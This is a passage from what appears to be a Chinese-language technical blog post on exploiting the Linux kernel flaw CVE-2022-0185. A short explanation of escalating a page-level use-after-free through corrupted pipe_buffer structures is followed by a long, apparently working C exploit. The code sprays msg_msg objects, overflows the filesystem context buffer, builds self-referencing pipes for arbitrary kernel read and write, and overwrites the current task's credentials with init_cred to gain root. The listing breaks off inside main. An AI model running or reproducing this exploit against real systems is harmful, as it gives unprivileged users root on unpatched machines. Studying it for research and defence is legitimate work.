但是 pipe 的强大之处远不止这些,由于我们可以对 UAF 页面上的 pipe_buffer 进行读写,我们可以继续构造出第二级的 page-level UAF

secondary page-level UAF

为什么要这么做呢?在第一次 UAF 时我们获取到了 page 结构体的地址,而 page 结构体的大小固定为 0x40,且与物理内存页一一对应,试想若是我们可以不断地修改一个 pipe 的 page 指针,则我们便能完成对整个内存空间的任意读写,因此接下来我们要完成这样的一个利用系统的构造

再次重新分配 pipe_buffer 结构体到第二级 page-level UAF 页面上,由于这张物理页面对应的 page 结构体的地址对我们而言是已知的,我们可以直接让这张页面上的 pipe_buffer 的 page 指针指向自身,从而直接完成对自身的修改

third-level self-pointing pipe

这里我们可以篡改 pipe_buffer.offsetpipe_buffer.len 来移动 pipe 的读写起始位置,从而实现无限循环的读写,但是这两个变量会在完成读写操作后重新被赋值,因此这里我们使用三个管道

  • 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成 :)
  • 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
  • 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置、第二个管道的写入起始位置指向第三个管道

通过这三个管道之间互相循环修改,我们便实现了一个可以在内存空间中进行近乎无限制的任意读写系统 :)

Step.IV - 提权

有了内存空间中的任意读写,提权便是非常简便的一件事情了,这里笔者选择通过修改当前进程的 task_struct 的 cred 为 init_cred 的方式来完成提权

init_cred 为有着 root 权限的 cred,我们可以直接将当前进程的 cred 修改为该 cred 以完成提权,这里iwom可以通过 prctl(PR_SET_NAME, ""); 修改 task_struct.comm ,从而方便搜索当前进程的 task_struct 在内存空间中的位置:)

不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析 task_struct 的方式向上一直找到 init 进程(所有进程的父进程)的 task_struct ,从而获得 init_cred 的地址

FINAL EXPLOIT

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/mount.h>
#include <sys/prctl.h>
#include "kernelpwn.h"

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

static inline int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

static inline int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

/**
* @brief make an out-of-bound write to the next object in kmalloc-4k,
* note that the buf before will always be appended to a ",=",
* for a ctx-legacy_data with 4095 bytes' data, the ',' will be the last byte,
* and the '=' will always be on the first byte of the object nearby
*
* @return int - the fd for filesystem context
*/
int prepare_oob_write(void)
{
int fs_fd;

/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
err_exit("FAILED to fsopen()!");
}

/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (0x1000 - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

return fs_fd;
}

#define MSG_SPRAY_NR 0x100
#define MSG_SZ (0x1000+0x20-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define OOB_READ_SZ (0x2000-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define MSG_TYPE 0x41414141

#define SEQ_SPRAY_NR 0x100
#define PIPE_SPRAY_NR MSG_SPRAY_NR

int msqid[MSG_SPRAY_NR];
int seq_fd[SEQ_SPRAY_NR];
int pipe_fd[PIPE_SPRAY_NR][2];
int fs_fd, victim_qidx = -1;

/**
* @brief We don't need to leak anything here, we just need to occupy a 4k obj.
*/
void occupy_4k_obj_by_msg(void)
{
size_t buf[0x1000], ktext_leak = -1;

puts("\n\033[34m\033[1m"
"Stage I - corrupting msg_msg to leak kernel info and occupy a 4k obj"
"\033[0m\n");

puts("[*] Allocating pipe...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (pipe(pipe_fd[i]) < 0) {
printf("[x] Failed at creating %d pipe.\n", i);
err_exit("FAILED to create pipe!");
}
}

puts("[*] Allocating msg_queue and msg_msg...");
for (int i = 0; i < (MSG_SPRAY_NR - 8); i++) {
if ((msqid[i] = get_msg_queue()) < 0) {
printf("[x] Failed at allocating %d queue.\n", i);
err_exit("FAILED to create msg_queue!");
}

buf[0] = i;
buf[MSG_SZ / 8] = i;
if (write_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {
printf("[x] Failed at writing %d queue.\n", i);
err_exit("FAILED to allocate msg_msg!");
}
}

puts("[*] Allocating fs->legacy_data...");
fs_fd = prepare_oob_write();

puts("[*] Allocating msg_queue and msg_msg...");
for (int i = (MSG_SPRAY_NR - 8); i < MSG_SPRAY_NR; i++) {
if ((msqid[i] = get_msg_queue()) < 0) {
printf("[x] Failed at allocating %d queue.\n", i);
err_exit("FAILED to create msg_queue!");
}

buf[0] = i;
buf[MSG_SZ / 8] = i;
if (write_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {
printf("[x] Failed at writing %d queue.\n", i);
err_exit("FAILED to allocate msg_msg!");
}
}

/*
puts("\n[*] Spray seq_operations...");
for (int i = 0; i < SEQ_SPRAY_NR; i++) {
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
printf("[x] Failed at creating %d seq_file.\n", i);
err_exit("FAILED to create seq_file!");
}
}*/

puts("[*] fsconfig() to set the size to the &msg_msg->m_ts...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "3", "1919810ARTTNBA114514", 0);

puts("[*] fsconfig() to overwrite the msg_msg->m_ts...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);

puts("[*] Tring to make an oob read...");
for (int i = 0; i < MSG_SPRAY_NR; i++) {
ssize_t read_size;

read_size = peek_msg(msqid[i], buf, OOB_READ_SZ, 0);
if (read_size < 0) {
printf("[x] Failed at reading %d msg_queue.\n", i);
err_exit("FAILED to read msg_msg!");
} else if (read_size > MSG_SZ) {
printf("\033[32m\033[1m[+] Found victim msg_msg at \033[0m"
"%d\033[32m\033[1m msg_queue!\033[0m\n", i);
victim_qidx = i;
break;
}
}

if (victim_qidx == -1) {
err_exit("FAILED to overwrite the header of msg_msg!");
}

/*
for (int i = MSG_SZ / 8; i < (OOB_READ_SZ / 8); i++) {
if (buf[i] > 0xffffffff81000000 && ((buf[i] & 0xfff) == 0x4d0)) {
printf("[*] Leak kernel text addr: %lx\n", buf[i]);
ktext_leak = buf[i];
break;
}
}

if (ktext_leak == -1) {
err_exit("FAILED to leak kernel text address!");
}

kernel_offset = ktext_leak - 0xffffffff813834d0;
kernel_base += kernel_offset;
printf("\033[32m\033[1m[+] kernel base: \033[0m%lx ", kernel_base);
printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
*/
}

/* for pipe escalation */
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192

int orig_pid, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;

struct pipe_buffer info_pipe_buf;

void corrupting_first_level_pipe_for_page_uaf(void)
{
size_t buf[0x8000];

puts("\n\033[34m\033[1m"
"Stage II - corrupting pipe_buffer to make two pipes point to same page"
"\033[0m\n");

puts("[*] Allocating 4k pipe_buffer...");
for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {
if (i == victim_qidx) {
continue;
}

if (read_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {
printf("[x] Failed at reading %d msg_queue.\n", i);
err_exit("FAILED to release msg_msg!");
}

if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {
printf("[x] Failed at extending %d pipe_buffer.\n", i);
err_exit("FAILED to extend pipe_buffer!");
}

write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8); /* prevent pipe_release() */
}

puts("[*] Overwriting pipe_buffer->page...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "ar", "tt", 0);
for (int i = 0; i < ((0x1000 - 8 * 4) / 16); i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "ratbant", 0);
}

puts("[*] Checking for pipe's corruption...");
for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {
char a3_str[0x10];
int nr;

if (i == victim_qidx) {
continue;
}

memset(a3_str, '\0', sizeof(a3_str));
read(pipe_fd[i][0], a3_str, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if (!strcmp(a3_str, "arttnba3") && nr != i) {
orig_pid = i;
victim_pid = nr;
break;
}
}

if (victim_pid == -1) {
err_exit("FAILED to corrupt pipe_buffer!");
}

printf("\033[32m\033[1m[+] Successfully corrupt pipe_buffer! "
"orig_pid: \033[0m%d, \033[32m\033[1mvictim pipe: \033[0m%d\n",
orig_pid, victim_pid);
}

void corrupting_second_level_pipe_for_pipe_uaf(void)
{
size_t buf[0x1000], pipe_buf[0x100];
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

puts("\n\033[34m\033[1m"
"Stage III - corrupting second-level pipe_buffer to exploit a "
"page-level UAF"
"\033[0m\n");

memset(buf, '\0', sizeof(buf));

/* let the page's ptr at pipe_buffer */
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));

/* free orignal pipe's page */
puts("[*] free original pipe...");
close(pipe_fd[orig_pid][0]);
close(pipe_fd[orig_pid][1]);

/* try to rehit victim page by reallocating pipe_buffer */
puts("[*] fcntl() to set the pipe_buffer on victim page...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid) {
continue;
}

if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}

/* read victim page to check whether we've successfully hit it */
memset(pipe_buf, '\0', sizeof(pipe_buf));
read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
read(pipe_fd[victim_pid][0], pipe_buf, 40);

for (int i = 0; i < (40 / 8); i++) {
printf("[----data dump----][%d] %lx\n", i, pipe_buf[i]);
}

/* I don't know why but sometimes the read will be strange :( */
if (pipe_buf[4] == 0xffffffff) {
memcpy(&info_pipe_buf, &((char*)pipe_buf)[12], 40);
} else {
memcpy(&info_pipe_buf, pipe_buf, 40);
}

printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->offset: \033[0m%x\n"
"\033[34m\033[1m[?] info_pipe_buf->len: \033[0m%x\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->flags: \033[0m%x\n"
"\033[34m\033[1m[?] info_pipe_buf->private: \033[0m%lx\n",
info_pipe_buf.page,
info_pipe_buf.offset,
info_pipe_buf.len,
info_pipe_buf.ops,
info_pipe_buf.flags,
info_pipe_buf.private);

if ((size_t) info_pipe_buf.page < 0xffff000000000000
|| (size_t) info_pipe_buf.ops < 0xffffffff81000000) {
err_exit("FAILED to re-hit victim page!");
}

puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);
puts("");

/* construct a second-level page uaf */
puts("[*] construct a second-level uaf pipe page...");
//info_pipe_buf.offset = 8;
//info_pipe_buf.len = 0xf00;
for (int i = 0; i < 35; i++) {
write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
write(pipe_fd[victim_pid][1],buf,SND_PIPE_BUF_SZ-sizeof(info_pipe_buf));
}

for (int i = 0; i < PIPE_SPRAY_NR; i++) {
char tmp_bf[0x10];
int nr;

if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid) {
continue;
}

read(pipe_fd[i][0], &nr, sizeof(nr));
if (nr == 0x74747261) {
read(pipe_fd[i][0], tmp_bf, 4);
read(pipe_fd[i][0], &nr, sizeof(nr));
}
printf("[*] nr for %d pipe is %d\n", i, nr);
if (nr < PIPE_SPRAY_NR && i != nr) {
snd_orig_pid = nr;
snd_vicitm_pid = i;
printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n",
snd_vicitm_pid, snd_orig_pid);
break;
}
}

if (snd_vicitm_pid == -1) {
err_exit("FAILED to corrupt second-level pipe_buffer!");
}
}

/**
* VI - SECONDARY exploit stage: build pipe for arbitrary read & write
*/

void building_self_writing_pipe(void)
{
size_t buf[0x1000];
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;

puts("\n\033[34m\033[1m"
"Stage IV - Building a self-writing pipe system"
"\033[0m\n");

memset(buf, 0, sizeof(buf));

/* let the page's ptr at pipe_buffer */
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));

/* free orignal pipe's page */
puts("[*] free second-level original pipe...");
close(pipe_fd[snd_orig_pid][0]);
close(pipe_fd[snd_orig_pid][1]);

/* try to rehit victim page by reallocating pipe_buffer */
puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid) {
continue;
}

if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) {
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}

/* let a pipe->bufs pointing to itself */
puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;

write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid) {
continue;
}

read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_2nd_pipe_pid = i;
printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
self_2nd_pipe_pid);
break;
}
}

if (self_2nd_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}

/* overwrite the 3rd pipe_buffer to this page too */
puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid
|| i == self_2nd_pipe_pid) {
continue;
}

read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_3rd_pipe_pid = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n", self_3rd_pipe_pid);
break;
}
}

if (self_3rd_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}

/* overwrite the 4th pipe_buffer to this page too */
puts("[*] hijacking the 4th pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}

if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid
|| i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {
continue;
}

read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_4th_pipe_pid = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n", self_4th_pipe_pid);
break;
}
}

if (self_4th_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}

puts("");
}

struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf[0x1000]= { '\0' };

/**
* @brief Setting up 3 pipes for arbitrary read & write.
* We need to build a circle there for continuously memory seeking:
* - 2nd pipe to search
* - 3rd pipe to change 4th pipe
* - 4th pipe to change 2nd and 3rd pipe
*/
void setup_evil_pipe(void)
{
/* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;

/* hijack the 3rd pipe pointing to 4th */
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;
}

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
/* page to read */
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xfff;
evil_2nd_buf.page = page_to_read;

/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* hijack the 2nd pipe for arbitrary read */
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));

/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

/* read out data */
read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xff0);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
/* page to write */
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;

/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

/* write data into dst page */
write(pipe_fd[self_2nd_pipe_pid][1], src, len);
}

/**
* VII - FINAL exploit stage with arbitrary read & write
*/

size_t *tsk_buf, current_task_page, current_task, parent_task, buf[0x8000];


void info_leaking_by_arbitrary_pipe()
{
size_t *comm_addr;
int try_times;

puts("\n\033[34m\033[1m"
"Stage V - Leaking info by arbitrary read & write"
"\033[0m\n");

memset(buf, 0, sizeof(buf));

puts("[*] Setting up kernel arbitrary read & write...");
setup_evil_pipe();

/**
* KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM,
* so we can simply get the vmemmap_base like this in a SMALL-MEM env.
* For MEM > 1GB, we can just find the secondary_startup_64 func ptr,
* which is located on physmem_base + 0x9d000, i.e., vmemmap_base[156] page.
* If the func ptr is not there, just vmemmap_base -= 256MB and do it again.
*/
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
try_times = 0;
for (;;) {
printf("[*] Checking whether the %lx is vmemmap_base..\n",vmemmap_base);
arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
printf("[?] Get possible data: %lx\n", buf[0]);
if (buf[0] == 0x2400000000) {
err_exit("READING FAILED FOR UNKNOWN REASON!");
}
if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0x030)) {
kernel_base = buf[0] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
"\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
kernel_base, kernel_offset);
break;
}

try_times++;
if (try_times == 5) {
vmemmap_base -= 0x10000000;
try_times = 0;
}
}
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

/* now seeking for the task_struct in kernel memory */
puts("[*] Seeking task_struct in memory...");

/**
* For a machine with MEM less than 256M, we can simply get the:
* page_offset_base = heap_leak & 0xfffffffff0000000;
* But that's not always accurate, espacially on a machine with MEM > 256M.
* So we need to find another way to calculate the page_offset_base.
*
* Luckily the task_struct::ptraced points to itself, so we can get the
* page_offset_base by vmmemap and current task_struct as we know the page.
*
* Note that the offset of different filed should be referred to your env.
*/
for (int i = 1; 1; i++) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + (i-1)*0x40), buf);
arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40),
&((char*)buf)[0x1000]);

comm_addr = memmem(buf, 0x1ff0, "arttPWNnba3", 11);
if (comm_addr == NULL) {
continue;
}

if ((((size_t) comm_addr - (size_t) buf) & 0xfff) < 500) {
continue;
}

printf("[*] Found string at page: %lx\n", vmemmap_base + i * 0x40);
printf("[*] String offset: %lx\n",
((size_t) comm_addr - (size_t) buf) & 0xfff);
printf("[*] comm_addr[-2]: %lx\n", comm_addr[-2]);
printf("[*] comm_addr[-3]: %lx\n", comm_addr[-3]);
printf("[*] comm_addr[-52]: %lx\n", comm_addr[-52]);
printf("[*] comm_addr[-53]: %lx\n", comm_addr[-53]);
if ((comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-53] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-52] > 0xffff888000000000)) { /* task->parent */

/* task->read_parent */
parent_task = comm_addr[-53];

/* task_struct::ptraced */
current_task = comm_addr[-46] - 2280;

page_offset_base = (comm_addr[-46]&0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;

printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
(struct page*) (vmemmap_base + i * 0x40));
printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
"0x%lx\n\n", current_task);
break;
}
}
}

/**
* @brief find the init_task and copy something to current task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
puts("\n\033[34m\033[1m"
"Stage VI - Hijack current task_struct to get the root"
"\033[0m\n");

/* finding the init_task, the final parent of every task */
puts("[*] Seeking for init_task...");

for (;;) {
size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);

tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));

arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf);
arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf[512]);

/* task_struct::real_parent */
if (parent_task == tsk_buf[278]) {
break;
}

parent_task = tsk_buf[278];
}

init_task = parent_task;
init_cred = tsk_buf[329];
init_nsproxy = tsk_buf[341];

printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);

/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");

current_task_page = direct_map_addr_to_page_addr(current_task);

arbitrary_read_by_pipe((struct page*) current_task_page, buf);
arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
tsk_buf[328] = init_cred;
tsk_buf[329] = init_cred;
tsk_buf[341] = init_nsproxy;

arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
&buf[512], 0xff0);

puts("[+] Done.\n");
}

int msg_pipe[2];

void signal_handler(int nr)
{
printf("[x] Receive signal %d!\n", nr);
sleep(114514);
}

int main(int argc, char **argv, char **envp)
{
puts("[*] CVE-2022-0185 - exploit by arttnba3");

signal(SIGSEGV, signal_handler);

pipe(msg_pipe);

if (!fork()) {
/* create new namespace to get CAP_SYS_ADMIN */
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
err_exit("FAILED to unshare()!");
}

bind_core(0);

occupy_4k_obj_by_msg();sleep(1);
corrupting_first_level_pipe_for_page_uaf();sleep(1);
corrupting_second_level_pipe_for_pipe_uaf();sleep(1);
building_self_writing_pipe();sleep(1);
info_leaking_by_arbitrary_pipe();sleep(1);
privilege_escalation_by_task_overwrite();sleep(1);

write(msg_pipe[1], "arttnba3", 8);

sleep(114514);
